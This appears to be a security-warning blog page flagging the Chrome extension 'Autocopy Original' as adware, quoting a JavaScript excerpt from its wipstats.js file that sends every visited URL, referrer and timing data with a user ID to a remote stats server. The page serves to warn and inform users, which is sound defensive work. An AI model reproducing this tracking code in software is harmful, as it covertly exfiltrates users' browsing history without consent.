Chrome SafeGuard

Protect your browser from viruses , malware invasion !

[hijacker] Autocopy Original [geacnbbfmgiinbomobipalmnahbkimim]

Posted: malware

autoCopy_128.png

The extension "Autocopy Original" is known to be adware or malicious, please use caution.


1. Risks Detail:

wipstats.js (User history tracking)


submit: function(url){
    var submit_url = config['api_url'] + "v2/domain";
    var r = new XMLHttpRequest();
    r.open("POST", submit_url, true);
    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    var submit_obj = {
        "user_guid": wips.getPref('client_id'),
        "domain": url
    }
    r.onreadystatechange = function (){
        if(r.status == 401 && r.readyState == 4){
            wips.new_client_id = wips.uuidGenerator();
            wipstats.register();
        }
    };
    r.send("data="+encode64(JSON.stringify(submit_obj)).replace(/=/,""));
},
everyUrlSubmit: function(pageData){
    var submit_url = 'https://stats.wips.com/v2/site';
    var r = new XMLHttpRequest();
    r.open("POST", submit_url, true);
    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    var submit_obj = {
        "user_guid": wips.getPref('client_id'),
        "url": pageData.url,
        "id": pageData.id,
        "ref": pageData.ref,
        "load": pageData.loadTime,
        "spent": pageData.spendTime
    }
    r.send("data=" + encode64(JSON.stringify(submit_obj)).replace(/=/,""));
}


It will send your browser history and your computer data to their server!



2. User Comments:

20151031171905.png



« [Adware] Eat My Cookies [aegdppglaimkafenpjibllliakbjooeo] | [Adware] [extname] [[extid]]»

Comments: